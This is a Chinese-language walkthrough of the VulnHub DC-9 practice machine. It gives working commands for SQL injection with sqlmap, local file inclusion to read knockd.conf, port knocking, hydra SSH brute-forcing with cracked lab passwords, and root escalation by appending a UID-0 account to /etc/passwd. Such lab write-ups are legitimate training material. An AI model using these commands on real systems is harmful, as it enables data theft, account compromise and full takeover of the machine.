標籤:SQL隱碼攻擊、本地檔案包含LFI、埠敲門、hydra爆破、linux提權
0x00 環境準備
下載地址:https://www.vulnhub.com/entry/dc-9,412/
靶機描述:
DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
0x01 資訊蒐集
1.探測靶機地址
命令:arp-scan -l
靶機地址:192.168.75.161
2.探測靶機開放埠
命令:nmap -sV -p- 192.168.75.161
開放了22(filtered)和80埠,但是22埠被過濾了,那就先看一下80埠
外掛沒有識別到web指紋
0x02 SQL隱碼攻擊
在search選單下有個提交框,可能存在POST注入
Burp Suite測一下
接下來用SQLmap進行遍歷
sqlmap -u http://192.168.75.161/results.php --data "search=1" --batch -v 3 --level 3 --dbs
1.Staff資料庫
sqlmap -u http://192.168.75.161/results.php --data "search=1" --batch -v 3 --level 3 -D Staff --tables
檢視資料表,命令:
StaffDetails表:
sqlmap -u http://192.168.75.161/results.php --data "search=1" --batch -v 3 --level 3 -D Staff -T StaffDetails --columns
Users表:
sqlmap -u http://192.168.75.161/results.php --data "search=1" --batch -v 3 --level 3 -D Staff -T Users --dump
StaffDetails表:
Users表:
密碼的加密方式應該是md5
得到了admin的賬號和密碼admin\transorbital1
2.users資料庫
sqlmap -u http://192.168.75.161/results.php --data "search=1" --batch -v 3 --level 3 -D users --tables
sqlmap -u http://192.168.75.161/results.php --data "search=1" --batch -v 3 --level 3 -D users -T UserDetails --dump
在UserDetails表中發現了很多賬號密碼
用管理賬號登陸網站後臺
0x03 本地檔案包含LFI
使用admin賬戶登入之後,登入首頁提示找不到檔案,懷疑存在檔案讀取漏洞
這裡猜測檔案引數是file
0x04 埠敲門
如下說明:
如果你有一臺公網可訪問的伺服器,駭客可以輕鬆掃描其IP地址,查詢伺服器上的開放埠(尤其是用於SSH的埠22)。將伺服器隱藏起來、不讓駭客看見的一種方法是使用knockd。knockd是一種埠試探伺服器工具。它偵聽乙太網或其他可用介面上的所有流量,等待特殊序列的埠命中(port-hit)。telnet或Putty等客戶軟體透過向伺服器上的埠傳送TCP或資料包來啟動埠命中。埠敲門服務,即:knockd服務。該服務透過動態的新增iptables規則來隱藏系統開啟的服務,使用自定義的一系列序列號來“敲門”,使系統開啟需要訪問的服務埠,才能對外訪問。不使用時,再使用自定義的序列號來“關門”,將埠關閉,不對外監聽。進一步提升了服務和系統的安全性。
換句話說,如果知道自定義的埠,逐個進行敲門,這樣我們就能夠開啟SSH埠,從而進行連線,所以利用LFI來檢視knock.conf檔案配置,得到自定義埠
現在看一下/etc/knockd.conf檔案中的自定義埠
有3個自定義埠,分別是:7469,8475,9842
依次訪問這三個埠就可以開啟SSH服務了
nmap -p 7469 192.168.75.161
nmap -p 8475 192.168.75.161
nmap -p 9842 192.168.75.161
現在看一下ssh埠,命令:nmap -p 22 192.168.75.161
open!
0x05 hydra爆破SSH
sql注入的時候,拿到了很多使用者名稱和密碼,把它們分別儲存
然後使用hydra進行ssh爆破。命令:hydra -L user.txt -P pass.txt -t 10 ssh://192.168.75.161
使用"-l"選項指定單個登入名,使用"-p"選項指定單個密碼。使用"-L"選項指定一個檔案來指定多個登入名,使用"-P"選項指定一個檔案來指定多個密碼,"-t"表示使用執行緒。
爆破出來3個賬號:chandlerb \ UrAG0D!、joeyt \ Passw0rd、janitor \ Ilovepeepee
登入SSH(注意應該使用ls -la檢視隱藏檔案或目錄),發現只有janitor使用者存在隱藏可讀檔案
ssh janitor@192.168.75.161
這個檔案看起來是一個存放密碼的檔案,將密碼複製到pass.txt中,再次使用hydra進行爆破
爆破出了一個新的賬號:fredf \ B4-Tru3-001
0x06 提權
登陸到fredf賬號,檢視下fredf的sudo許可權,發現可以NOPASSWD執行root許可權的檔案
sudo -l
檢視發現test是一個python檔案
使用命令:find / -name test.py 2>/dev/null
查詢python檔案,進行檢視
該檔案需要傳入三個引數,這三個引數都是檔案,傳入三個引數後,會讀取第二個檔案,然後將第二個檔案的內容追加到第三個檔案裡。
既然這樣,我們就可以利用這個程式向/etc/passwd檔案後追加一個擁有root許可權的賬戶,也就是說把/etc/passwd檔案設定為第三個引數,而第二個引數由我們自己建立,這個檔案裡是擁有root許可權賬戶的資訊,第一個引數隨便寫一個就好。
我們先使用openssl來建立第二個引數檔案中的內容
命令:sudo openssl passwd -1 -salt hacker password
這條命令的意思是建立一個使用者名稱為hacker,密碼為password的使用者
-1 的意思是使用md5加密演算法
-salt 自動插入一個隨機數作為檔案內容加密
修改後的值:hacker:$1$hacker$9MeWOdvz78rHYG01HSLfr/:0:0::/root:/bin/bash
echo 'hacker:$1$hacker$9MeWOdvz78rHYG01HSLfr/:0:0::/root:/bin/bash' >> /tmp/passwd
sudo /opt/devstuff/dist/test/test /tmp/passwd /etc/passwd
切換到新新增的賬戶,提權成功